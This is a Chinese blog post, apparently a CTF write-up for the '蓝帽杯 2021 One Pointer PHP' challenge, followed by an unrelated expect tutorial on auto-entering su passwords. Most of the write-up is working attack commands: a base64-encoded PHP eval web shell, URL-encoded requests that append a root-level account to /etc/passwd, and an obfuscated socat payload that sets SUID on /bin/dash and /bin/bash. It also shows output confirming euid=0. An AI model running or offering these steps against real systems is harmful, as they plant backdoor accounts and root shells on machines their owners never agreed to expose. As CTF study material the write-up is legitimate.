linux su自动输入密码 使用socat

  buu ctf web 第6页: [蓝帽杯 2021]One Pointer PHP    

一般情况下,使用su(从低级的普通用户切换至root)切换用户需要手动输入密码

借助socat(360KB大小)工具,可以自动完成.

https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

这里使用的是socat静态编译版

SHA1:F1A4ABD70F8E56711863F9E7ED0A4A865267EC77

su - tee

#需要手动输入密码

方法一:需要两次命令

/tmp/socat -v exec:"su - tee",pty unix-l:/tmp/ba2ba   
/tmp/socat -v unix:/tmp/ba2ba exec:'echo -e "123456\nid\nchmod u+s /bin/bash\nexit"'

方法二:一步到位

​/tmp/socat -v -t4 -d exec:"su - tee",pty exec:'bash -c "echo${IFS}-e${IFS}-n${IFS}\"123456\\\rid\\\rchmod${IFS}u+s${IFS}/bin/dash\\\rexit\\\r\";"  ',pty

使用的socat版本为:

xxx$ ./socat -V
socat by Gerhard Rieger - see www.dest-unreach.org
socat version 1.7.3.0 on Jun 16 2015 21:24:31
   running on Linux version #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021, release 4.19.221-0419221-generic, machine x86_64

使用python版:

cp /etc/passwd /etc/passwd.bak
tail /etc/passwd
echo "tee:\$1\$123456\$wOSEtcyiP2N/IfIl15W6Z0:229:2:toor:/tmp:/bin/bash" >>/etc/passwd 
echo "yes:\$1\$123\$EKWAR30..wEKERDtzOQUv/:200:2:toor:/tmp:/bin/bash" >>/etc/passwd 
tail /etc/passwd
tee@out:~$  (sleep 0.5;echo 123456;echo id;echo exit;sleep 0.5;echo exit;) |python -c 'import pty;pty.spawn(["bash","-c","su - tee"])'
Password: 
tee@out:~$ id
uid=229(tee) gid=2(bin) groups=2(bin)
tee@out:~$ exit
logout
tee@out:~$ 
tee@out:~$  (sleep 0.5;echo yes;echo id;echo exit;sleep 0.5;echo exit;)|python -c 'import pty;pty.spawn(["bash","-c","su - yes"])'
Password: 
yes@out:~$ id
uid=200(yes) gid=2(bin) groups=2(bin)
yes@out:~$ exit
logout
tee@out:~$ 

在  [蓝帽杯 2021]One Pointer PHP    环境下:

在使用蚁剑可以管理上的情况:使用蚁剑的[虚拟终端]功能

提示:可以使用蚁剑插件 [绕过disable_functions] 里最后一项: [PHP7_UserFilter],得到虚拟终端

第一步: 启动带suid的php进程(在蚁剑的[虚拟终端]直接输入,无需编码)

php -n -S 127.0.0.1:65432 -t /tmp -d enable_dl=On -d extension_dir='/tmp/' 2>&1 |tee -a /tmp/p3log  

/tmp目录写shell

echo PD89ZXZhbCgkX1JFUVVFU1RbM10pOyAg|base64 -d|tee /tmp/1.php

测试shell

curl -v -o-  "http://127.0.0.1:65432/1.php?3=print_r%289981%29%3B"

第二步: 增加用户tee,用户id是0,也就是和root用户一样的权限

root@out:/tmp# cat /var/www/html/1.php 
8<?=eval($_REQUEST[3]);?>
root@out:/tmp# cat /tmp/1.php 
8<?=eval($_REQUEST[3]);?>
root@out:/tmp# 

# curl -v -o- "http://127.0.0.1:65432/1.php?3=file_put_contents('/etc/passwd','tee:$1$123456$wOSEtcyiP2N/IfIl15W6Z0:0:0:toor:/tmp:/bin/bash'.PHP_EOL,FILE_APPEND);"

在蚁剑的[虚拟终端]需要编码:

curl -v -o- "http://127.0.0.1:65432/1.php?3=file_put_contents%28%27%2Fetc%2Fpasswd%27%2C%27tee%3A%241%24123456%24wOSEtcyiP2N%2FIfIl15W6Z0%3A0%3A0%3Atoor%3A%2Ftmp%3A%2Fbin%2Fbash%27.PHP_EOL%2CFILE_APPEND%29%3B"

运行完毕后,/etc/passwd里已经有tee这个超级用户了

验证:

curl -v -o- "http://127.0.0.1:65432/1.php?3=readfile%28%27%2fetc%2fpasswd%27%29%3b"

第三步:通过蚁剑文件管理器上传socat至/tmp目录,并给0744的权限,使其可以在www-data的权限下执行.  

第四步:

在蚁剑的[虚拟终端]需要编码:

curl -v -o- "http://127.0.0.1:65432/1.php?3=pclose%28popen%28%27%28%28%2Ftmp%2Fsocat%20-v%20-t4%20-d%20-d%20-d%20-d%20exec%3A%22su%20-%20tee%22%2Cpty%20exec%3A%22bash%20-c%20echo%5C%24%7BIFS%7DZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi%7Cbase64%5C%24%7BIFS%7D-d%7Cbash%22%2Cpty%29%26%29%26%27%2C%27r%27%29%29%3B"

解码后是:

curl -v -o- "http://127.0.0.1:65432/1.php?3=pclose(popen('((/tmp/socat -v -t4 -d -d -d -d exec:"su - tee",pty exec:"bash -c echo\${IFS}ZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi|base64\${IFS}-d|bash",pty)&)&','r'));"

怕csdn转义:我用代码段再复制一份,如下:

curl -v -o- "http://127.0.0.1:80/1.php?3=pclose(popen('((/tmp/socat -v -t4 -d -d -d -d exec:"su - tee",pty exec:"bash -c echo\${IFS}ZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi|base64\${IFS}-d|bash",pty)&)&','r'));"

ZWNobyAgLWUgIC1uICIxMjM0NTZccmlkXHJjaG1vZCB1K3MgL2Jpbi9kYXNoXHJub2h1cCBzbGVlcCAzOTgmXHJleGl0XHIi 解码后是:

echo  -e  -n "123456\rid\rchmod u+s /bin/dash\rnohup sleep 398&\rexit\r"

也就是自动输入用户tee的密码123456,并且给/bin/dash加suid权限,再后台运行一个sleep 398作为观察成功与否的标志.最后再退出su命令,注意su命令识别\r而不是\n 作为回车.


 


(www-data:/var/www/html) $ ls -al /bin/?ash

-rwxr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash

-rwsr-xr-x 1 root root  121464 Jan 17  2019 /bin/dash

(www-data:/var/www/html) $ 

(www-data:/var/www/html) $ /bin/dash -p -c id

uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

(www-data:/var/www/html) $ /bin/dash -p -c 'chmod u+s /bin/bash'

(www-data:/var/www/html) $

(www-data:/var/www/html) $ /bin/dash -p -c 'chmod 4755 /bin/bash'

(www-data:/var/www/html) $ 

(www-data:/var/www/html) $ ls -al /bin/?ash

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash

-rwsr-xr-x 1 root root  121464 Jan 17  2019 /bin/dash

(www-data:/var/www/html) $ 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
昨天一个网友问如何能够将输入密码的工作在shell里面自动完成,研究了一下,发现这种交互式的工作,普通的shell实现不了,据说可以借助expect来搞定,所以初步学习了一下expect,成果和大家分享一下: 应用一: 实现从普通用户“test”切换到root用户,自动输入root的密码,不用在终端提示符下执行密码输入操作。 步骤: (1)vi autosu.sh (2)#! /usr/bin/expect -f //指定expect工具的路径,如果不清楚具体路径,可以用"which expect"命令来查看。 spawn su - // 在expect 中用"spawn"关键字来调用命令“su - ” expect ":" //在执行了su - 命令之后,提示输入密码的提示符。例如你在执行了su - 命令之后,终端里面会出现提示“口令:”,那么你就可以在这里写expect ":",或者expect -exact "口令:" send "rootpasswd\r" //这里expect用send将你的root密码自动输入到上面的提示符之后。 interact //操作完成。 注意:这里强调一下执行脚本时要注意的地方,不能按照习惯来用sh ***.sh来这行expect的程序,会提示找不到命令,因为expect用的不是bash所以会报错。执行的时候直接./***.sh就可以了。~切记! 应用二: 从普通用户切换到root之后,执行“ls”操作,调用执行aaa.sh,返回执行结果,间隔10S。 #/usr/bin/expect -f spawn su - // 在expect 中用"spawn"关键字来调用命令“su - ” expect ":" //在执行了su - 命令之后,提示输入密码的提示符。例如你在执行了su - 命令之后,终端里面会出现提示“口令:”,那么你就可以在这里写expect ":",或者expect -exact "口令:" send "rootpasswd\r" //这里expect用send将你的root密码自动输入到上面的提示符之后。 expect "#" //当遇到提示符以#结尾时,即为root权限时; send "ls\r" //expect 用spend方法调用ls 命令,并且回车(“\r”) expect "#" send "sh aaa.sh\r" //调用sh aaa.sh,即执行一个脚本文件aaa.sh。 expect "#" send "echo $?\r" sleep 10 interact

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值